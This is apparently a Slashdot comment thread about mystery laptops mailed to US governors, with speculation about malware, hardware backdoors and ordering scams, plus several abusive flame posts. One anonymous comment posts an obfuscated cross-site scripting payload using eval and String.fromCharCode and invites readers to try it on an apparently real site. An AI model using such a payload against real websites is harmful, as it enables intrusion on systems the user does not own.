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FBI Investigating Mystery Laptops Sent To US Governors
itwbennett writes "The FBI is trying to find out who is sending laptops to state governors across the US, including the governors of Wyoming and West Virginia. The West Virginia laptops were delivered to the governor's office on August 5, according to the Charleston Gazette, which first reported the story. Kyle Schafer, West Virginia's chief technology officer, says he doesn't know what's on the laptops, but he handed them over to the authorities. 'Our expectation is that this is not a gesture of good will,' he said. 'People don't just send you five laptops for no good reason.'"
If the governors don't want them, I'll have them.
I'll take them.
Seriously, they don't have one good tech guy who could wipe the drives/check the internals for rogue hardware?
Its obviously the one laptop per Governor project.
http://michaelsmith.id.au
"People don't just send you five laptops for no good reason."
Are you kidding me? I've received hundreds of free laptops from total strangers. In fact, I trust them so much that I do all my banking on them. After all, this nice downtrodden Nigerian prince has personally guaranteed the security and stability of all these laptops. Now, let me go check my bank balance....OMGWTFBBQ^*#^$@))*#$!!!!!
NO CARRIER
SSC
...at least give every incoming laptop to a nearby school. I mean, spying on students happens already anyway.
Support Eachother, Copy Dutch Property!
OLPC
to nigeria! i know a woman who could definitely use them to transfer the millions left in her account...
You get the laptops delivered to a big enough organisation, whoever signs for them assumes *somebody* ordered them for a reason, but can't find out who. So they stash them somewhere. Fast forwards to when someone new joins the organisation and needs a laptop, somebody mentions there are a couple lying around in boxes and bingo, you've got malware in through the front door without touching an Internet connection.
Makes me wonder, how often this has been done successfully to less vigilant offices, worked, and we haven't heard about it.
If we can put a man on the moon, why can't we shoot people for Apollo-related non-sequiturs?
Sounds like the opening chapter of a John Grisham novel. Encryption hits the newspaper stands before the library shelves, it seems!
They accept deliveries they're not expecting? Kaboom! Have they learned nothing?
What if whoever's sending them isn't just a small-time crook but a foreign intelligence agency with the resources to custom-make chips with built-in back doors. (Such back doors have been demonstrated to be plausible; someone has built a CPU with a circuit which switches off memory protection when it finds a specific sequence on a memory bus, which means that it doesn't matter how secure the software running on it is.)
Why would they target state governors' offices? Well, they'd presumably be easier to pwn than, say, the Department of Defence or the CIA, and a good starting point for setting up pieces.
Laptops would be a new kind of upgrade to the approach.
Bank penetration tests are done by sending official looking CD's in the mail with trojans attached.
Next week on CNN: Pen & Paper sent to US Governors in hopes that they'd do more work. FBI called in to investigate.
"A what? Whatever, put it in the yard next to the giant wooden horse."
Of course they don't.That's ridiculous
But if they sent three laptops, then it would be another story...
The good, the evil and the vacuum tubes.
fedex sleeping laptop
wake at delivery time
run superduper wi-fi haxor proggy
phone home
Since the origin of the computers is unknown, the hardware cannot be trusted. The computers might be hacked and backdoored on the BIOS level. Modern BIOSes are quite sophisticated with a rich functionality, that can be misused invisibly from the OS' point of view.
I wonder if the others are dems? Perhaps it is time to check the keys themselves and see what is on them
I prefer the "u" in honour as it seems to be missing these days.
Noone trust those no more?
What if a beautiful woman would feel pity for your sorry ass never-get-laid geek character and offers you free sex to live your wildest dream at least once in your sad life? And she brings along her equally sexy girlfriend... You would turn them down, wouldn't you? You would be scared to death that they would turn mid-course into some gut sucking aliens or at least they would want to spread some nasty uncurable disease, wouldn't you? Unadventurous geek basterds...
This just in... It seems the governor's office was right to be wary. The FBI have confirmed that all the laptops are infected with Windows Vista Basic. Truly nasty.
Next question?
some company order systems with there image per loaded or some are so big that some think like can happen they are just sitting there ready to go (not knowing that IT did not even get to them) or they are in Small Branch Office with little to no on site IT.
Real bad guys would plant a Governor or a President, not some brainless laptops...
i'd just give it to my mistress as a gift. makes me look like a swell guy and doesn't cost me a dime.
Why is it such a stretch to think that someone is sending laptops to governors with only good intentions, when Ted Turner handed the U.N. a billion dollars and nobody questioned it? Maybe someone has the cash and is trying to do something good. If they are afraid of what's on them, simply wipe them, put a fresh OS install on them, and enjoy.
"Hackers Hit Credit Unions With Malware On CD"
http://it.slashdot.org/story/09/08/27/2331201/Hackers-Or-Pen-Testers-Hit-Credit-Unions-With-Malware-On-CD
A likely explanation is that somebody either stole a credit card or cards or somehow ordered them fraudulently and is using this as a smokescreen. Send 10 laptops to 10 governors. Send 10 to random people including yourself. Profit! Or else an employee at one of the offices is in on it and wanted to cover themselves by sending them out to other offices.
A foreign government might be willing to splash out this sort of cash but I wonder how interested they are in individual state politics.
IANAS but I would imagine that is exactly the type of stuff that they would be interested in. I don't live in the US and don't know how much of stuff is done by federal government directly and how much at state level, but I would assume that a lot of the most important and fragile infrastructure is controlled at state level.
If I really wanted to damage/invade/whatever a nation, I would be very interested in state level affairs. Naturally, I would want to know those things about several states, but that does seem to be what is happening.
I don't think that this is a serious try from any major intelligence agency. There would be a lot better ways to do that if they put time into it. However, after a century of active spying, counter spying, etc... I could well imagine someone coming up with the idea of "Have we tried just sending them bugged laptops anonymously?" and the superior would go "No but... Well.. What the hell. Let's give that one a try. No reason not to."
What is it about you jerk offs that have to act as if you are professional english critics? Don't you realize this is only a forums?? Your assinine pompous arrogance at thinking you have the right to judge others on their writing or any other basis is astounding, and only indicative of your asshole-like nature. Go fuck yourself you freak, because in case you didn't notice, your first letter of your first sentence isn't even capitalized, quote or not, and that makes you the screwup in English right there, as well as your lack of captilizing a person's initials in their name, like E.E. Cummings, dumbass. You played yourself.
Go for the obvious. Someone is trying to get revenge on corporation "x" by purchasing a bunch of computers and having them drop shipped. By the time accounting catches up with the paperwork, the computers will be in the hands of the FBI for a month. If the scam is done right, it is done by an ex-employee or someone with just enough access to know who the preferred suppliers are. You make a couple of phone calls, send the right paperwork, and next thing your computer vendor is drop shipping a bunch of computers somewhere.
Having worked for distributors, I'm surprised this doesn't happen more often. Having stuff go missing for weeks on end inside factories, fairly routine ... This wouldn't be hard to do. Just ship a bunch of computers somewhere else.
It is even difficult to get charged for doing something like this. FAXing the paperwork leaves no fingerprints. To the accounting department, the transaction looks like typical incompetence. The corporation won't request charges laid, because then they would have to admit they were incompetent too, and this stuff happens all the time. The police have a tough time charging you, because you didn't steal anything. If done right, you didn't even touch anything so there is no physical evidence. No evidence means no crime, and your revenge makes the national newspapers. Perfect revenge scheme.
It was Ballmer - he was apparently browsing Youtube and realized his "Developers Developers Developers" dance and scream video was a huge success and more needed to be done for the Governors - thus a new video was outed - "Governors Governors Governors". But his secretary in an attempt to stop him from further tarnishing Microsoft's image, told him Governors do not compute because they don't have computers. But as always the relentless Ballmer then sent one whole laptop to each Governor - a copy of the Governors video was included in the startup sequence.
Now since the FBI had never watched the Developers video in first place - they thought this was a threat against the governors to use Windows or else and hence the investigation. Ballmer responded to investigation by throwing more copies of his videos out thru his window(s) and on to Youtube. FBI is still investigating.
Sending a computer by mail seems to me like a very stupid method to deliver a trojan horse. I have a hard time imaging someone that stupid, especially at espionage level.
I can imagene pentest like theese but not used by a smart hacker.
HTTP/1.1 400
Probably an elaborate attempt at hacking the FBI :-P
Here kids, have fun on that site:
[url]x id="xxx"
style="xss:expression(eval(String.fromCharCode(108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,35,122,39,59,118,97,114,32,120,120,120,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,120,120,120,39,41,59,116,104,105,115,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,110,111,110,101,39,59)))"[/url]
Posted AC for obvious reasons. Found that a while back (I may or may not live in WV)... nice to see if someone can have fun with it...
Since HP was able to provide shipping information for the laptops in transit the laptops were probably ordered directly from HP and shipped to the offices. This sounds a lot like the toner cartridges scam from a few years ago.. ship a lot of toner cartridges to a company... then send them a fat bill. When accounts payable gives the WTF call to the receiving dept and the receiving dept confirms delivery, many companies will assume the bill is legit and pay it (no matter what the hefty price tag is).
One Laptop Per *CHILD*.
If telephones are outlawed, then only outlaws will have telephones.
...must be of the exploding kind.
And they 'clicked here'
Figures that they would find the ONE legit free gift out of all the scam.. But then again, if you are scam to the core, you can see one a mile away.
---- Booth was a patriot ----
That's funny, corporations are constantly giving politicians much larger amounts of money for no good reason - since surely honest politicians would not let a few thousand dollars sway their administration of hundreds of millions of dollars away from the Common Good.
with the latest Windows 7 installed on them.
TBH, I'd try and get rid of them, too...
Rip out the hard drive, install a new one, perfectly good laptop for the price of a hard drive.
If you're cheap, wipe the hard drive and reinstall (preferably some Linux distri).
WTF is your problem, gubernator?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
You'll use the laptop to finally divorce your wife, right?
SJW: Someone who has run out of real oppression, and has to fake it.
Tech: Mr Governor, sir, have you seen those HP laptops that you asked me to order? FedEx says your secretary signed for them.
Gov: Laptops, you say?
* What is a netbook? $700? *
At the moment of this writing, BestBuy.com is featuring 6 HP netbooks, ranging from $280 to $580.
Comment removed based on user account deletion
All it probably just plays Rick Astley "Never Gonna Give You Up" in a loop.
Make me remember that movie (was there?) when a ticking box was delivered, Drebbin announced that was a bomb and washed/hammered/destroyed it. Then resulted that was the clock gift for retirement or something like that. That it looks like a wooden horse don't always means that is er... "Made in Troy".
In other news MS attempts to bribe government officials with state of the art laptop computers by sending the gifts directly to their offices. The move prompted some pundits to suggest that such "guerrilla marketing" was a new direction for Microsoft, who traditionally had used bribes of cash or AOL disks.
"We wanted to strike out into new ground with this campaign" said Micheal Hunt, lead marketer for the campaign, "We thought 'what would be more unexpected or be more exciting than an electronic device in a brown box being anonymously delivered to your home or office?' and the answer was 'nothing'. We expect an explosion of these types of packages when we start to target other agencies such as the ATF and Homeland Security."
What do the states whose governors received these laptops have in common? The referenced article didn't mention the complete list but West Virginia and Wyoming might have something commercial in common. Mining or energy for example. Wouldn't a lobbyist with some powerful clients in the mining/energy industry just love to have access to some state computer systems where they could snoop through internal emails discussing potential legislation restricting mining activities? West Virginia's had problems with mountaintop removal for years. There's been talk of stopping that for some time. Wyoming has their share of mining companies abusing the environment as well.
On the other hand, perhaps a bunch of environmentalists shipped the laptops in the hope of getting access to state information so they could blow the whistle on state govt./industry shenanigans (bribes and the like).
Anyone know where there's a complete list of the states where these laptops were shipped?
CUR ALLOC 20195.....5804M
> Send a laptop to 10 people or you will have bad luck for 7 years. If you do send laptops to 10 people you will get your greatest wish!!
>
> A woman in Canada didn't send the laptops and now she is in prison for cheating on her taxes.
>
> A man in Kansas sent the 10 laptops and now has a new laptop!
>
> This is not a hoax or scam!! YOu HVAE TO SEND THIS!! 10 Laptops or something horrible will happens. Send it to all your friends!!!
> >
> > It's TRUE!! I got cancer when I didn't send the laptops, but then I sent them and now I have a million dollars!!!11
> >
> > Don't think this is a trick!! Just do it !1 Wjhat do you have to lose??
> >
> > Jack in Fredricksburgton
> >
> >
> > > I can't count the number of times I've sent out these kinds of Laptops and gotton NOTHIONG. But this is the real deal.
> > > You can't go wrong with this one. Think about it, you already got the laptop. You already have it...
> > > but dont' just accept the gift and not pass it on or your in for big troubles.
> > > >
> > > > Here is a free laptop. Pass this on to 10 friends and enjoy!
> > > >
> > > > Richard R.
They are Decepticons!
I'd say something like a "GPS tracker" as a form of attack would be more probable in this case, since any attacker that requires the person to turn the laptop on and use it is an idiot. "Hey, this bomb WON'T blow you up. Just light that fuse for me, okay?"
these two are not republicans, so little chance.
At least it wasn't an xbox. If it had been an Xbox, it could have been considered attempted arson. An xbox old or new model, tends to catch fire.
I think we have enough for a beowulf cluster of state governors... All we need to do is get them to run Linux and drive around in a bad car analogy.
I wonder... Perhaps these are just vehicle purchase incentive laptops. Like the toaster you get for opening a bank account. Buy a car, get a laptop.
When our name is on the back of your car, we're behind you all the way!
Sorry.
When they turn 'em on, does it show some distorted video of a guy telling them to play nice, and to enjoy the new laptop?
See subject line: e e cummings should have been E. E. Cummings. Learn to write, before you criticize others. I find it hilarious that the pot was calling the kettle black in your so-called "critique", and now you're the one with egg on your face, stupid.
I keep telling FedEx, and HP, I ordered these notebooks. I just wasn't home to receive them.
dammit.
Maybe there's some upcoming movie in which this is part of the plot? In that case, getting national press coverage for this kind of event might be a marketing stunt.
Hidden malicious reliable hardware?
Take the laptops and put them on a separate network and have them start working on documentation for projects that don't exist, sending e-mails to people who don't exist, talking about bank accounts that don't exist or are set up waiting for someone to hit. Then just watch and see what happens - does spam start pouring in, does someone try to access the fake accounts, does some reporter somewhere start reporting that West Virginia has a new government program coming that will build an international welcome station for the Glar empire which will be landing their mothership in December.
If the CTO of WV isn't the "authority" in a case of a delivered laptop, then who is?
I mean, we're talking about the government of the state next to mine here -- don't they have "authority" over even their own operations?
If not, I'm moving west, a little bit. Depending on who DOES have authority? Hope it's nobody.
Hmmm.
The GOVERNATOR has been activated.
You fail at english in writing E. E. Cummings as e e cummings You are clearly an illiterate dolt that thinks far too highly of himself. If you can't criticism, don't dish it out, because you failed badly at something simple, like writing a name properly. Also - Is this "english lit class"? No. Face it: You're clearly off-topic, you goofy technically challenged loser. Learn to read, and realize this is not the "english writing section" of /. (there is no such section in fact). If all you have is your 'writing style critiques' then you had best learn to capitalize the names of others on their first letter of their names. Clearly you possess no certification in English writing since you fail to do that and yet you saw fit to critique others' writing style? Give us a break, you off-topic technically weak GOOF (as well as you clearly being incompetent at writing yourself).
Five laptops for Governors in their halls of stone....but shouldn't it be Seven?
You wrote "e e cummings" when it should be "E. E. Cummings", goofy ole' boy! Rotflmao, how droll and ironic. That's the real bottom-line here. I mean, lmao, considering You saw fit to critize others on their writing, and yet, you cannot write properly yourself? That is utterly hilarious. Please, also answer this question, goofy: Is this the "english spelling or grammar section of /."? No, because there is no such section here. You're also off-topic.
Have each recipient use the laptop like normal, but replace any sensetive information with bogus information, then wait. If the laptops are bugged, one of two things will happen. If whoever bugged them tries to benefit overtly from using the bogus information, it'll identify them. If whoever bugged them tries to benefit covertly, they'll be using bogus information that's no good to them anyway. Either way (assuming it's actually malicious and not just an ordering snafu or prank) whoever's behind this won't get anything out of it, and they might even get caught.
This sig is false.
Wildblue's "Pro" package.
Mountains of Western Oregon.
$80/month for 17gb/month download cap, abysmal speeds, outages during mild weather events, latency that makes you think they're bouncing all traffic off a dusty mirror on Pluto...and when you don't measure usage yourself, it's easy to go over; the graphic and even csv versions of the usage data are of little help predicting whether one episode of Madmen off Itunes (can you say "Patented Bloat Codec?")...Edward Tufte couldn't sort that shit out...
But I'm past my 18 months and ready to look at alternatives...
I am a proud owner of a brand new laptop, and its a PC !
"Epic Fail" - by Anonymous Coward on Friday August 28, @10:18AM (#29230495)
You incorrectly capitalized the 2nd word of your "see Dick run" so called sentence quoted above Goofy, you cretin: Have you considered "hooked on phonics" or remedial english courses? I mean, where did you learn to write goofy?? From the inside of a crackerjack box??? I can see it now: GOOFY - honorary graduate of "Crackerjack U", rotflmao. His graduation speech -> "Mah namez GOOFEY, n' Ah kin wrait Gud (cuz I gradjimicated fum crackajak univusitay, yessiree Bawb, by golly"
What with Van Jacob header compression and all. Trouble is, ACK-by-carrier-pigeon has a high dropped packet rate in regions where the shotgun-to-person ratio is greater than about 0.25.
This sounds like a start to a die hard movie the Fed might have to call in John McClane
If the laptops have some Linux OS installed, then I would say it is a good will gesture. If the laptops have MS-Windows installed, basically someone is handing them a laptop full of virus-infested software. MS-Windows has been detected as one big virus itself. Stuff that in your USB port.
"If you take 3 seconds to clean up your writing making it easier to parse, the rest of the world will save the hours wasted trying to understand your gibberish." - by Nesman64 (1093657) on Friday August 28, @11:30AM (#29231529) Homepage
New News: It shouldn't take anyone normal, hours to read a few sentences. At least, not anyone with any intelligence above "10 below plantlife" (an example being one such as yourself who clearly only communicates well with paramecium only). I mean, what else can I say? You admit it took YOU that long, in your stating it took "hours" to understand english words and phrases via the context in which they are used in sentences? Unbelievable...(still, there are exceptions, such as obvious cretins like yourself). I'm also quite sure others will find it quite hilarious that, despite your b.s. quoted above, that you understood my sentence quite well (in order for you to respond so quickly), cretin. That's got to be a 'first' for you. Gosh, "will wonders never cease"? Not. The truly hilarious part is in your attempting to be "clever" now, on your part, cretin: Don't try (it's clearly NOT a 'strong suit' of yours). Try to "white wash" it, but, "e e cummings" is incorrect (as goofy wrote it). It should be "E. E. Cummings", cretin. Then, there is also the example of good ole' "goofies'" second classic in his "Epic Fail" so-called sentence as well in this exchange. That is where he capitalized the word "fail" incorrectly as well. Yes, here at /.? We're surrounded by these "great literary minds", that can't read, write, or spell properly... lol!
"We received one package, opened it and realized that it was an error since no one in our office had ordered them," she said. "The next day we received another package. At this point we realized that they needed to be turned over to law enforcement."
So you receive something you know you didnt order, and instead of refusing shipment you call the cops? What?
The article also makes it seem like the shipments came from HP, not from somebody who had some sinister intent. It sounds like someone was ordering a bunch of stuff to cover tracks or maybe it was from Ben Bernanke's credit card. LOL
A slip of the foot you may soon recover, but a slip of the tongue you may never get over. -Benjamin Franklin
'"You see, I do something real good for three people. And then when they ask how they can pay it back, I say they have to Pay It Forward. To three more people. Each. So nine people get helped. Then those people have to do twenty-seven." He turned on the calculator, punched in a few numbers. "Then it sort of spreads out, see. To eighty-one. Then two hundred forty-three. Then seven hundred twenty-nine. Then two thousand, one hundred eighty-seven. See how big it gets?"'
Why do people automatically assume that noone would be that nice?
Man alive - You're worse than "Roman Maroni" in the film "Johnny Dangerously" (where ole' Roman is accused of "murdering the english language", lmao, ala "I neva fugit a fargin' face kid" and "you fargin' iceholes").
"You fail at comprehension." - by Anonymous Coward on Friday August 28, @09:43AM (#29230071)
Please - Learn to write: I state that, simply in agreement here, with others as well. The prime example of your illiteracy is Jeremy Erwin's reply directed at you here: http://slashdot.org/comments.pl?sid=1350423&cid=29234437 , where he correctly indicates the correct phrase to use on your part should have been something more like "YOU FAILED READING COMPREHENSION" not "You fail at comprehension". We're here to read english, not interpret your "hieroglyphics &/or encrypted code phrases", goofy!
It could be a sales gimmick. But ity could be that the PC's are loaded with some malware.
Myself I would erase the drive and load what ever the government OS they want and I would probably reflash the smarts.
Of course I would have the thoroughly checked out again.
there is a technique where by systematically inserting delays into packets (or keystrokes if dealing with a protocol where there is one packet sent per keystroke) can be used create a covert channel of communication. how are you going to detect that! and if done at the keystroke level this could be accomplished with a device inserted between the keyboard plug and usb socket, disguised as an extender or even something that fits over the existing plug.
1. Send laptops to low level Goverment
2. FBI gets laptops
3. FBI plays with laptops
4. ?????
5. Profit
I've met people from West Virginia. I refuse to believe that any of you are capable of using a computer. Fess up: you're actually a clever macro/script running on a computer in Hungary, aren't you?
I know where it is coming from...
Echelon. ;-)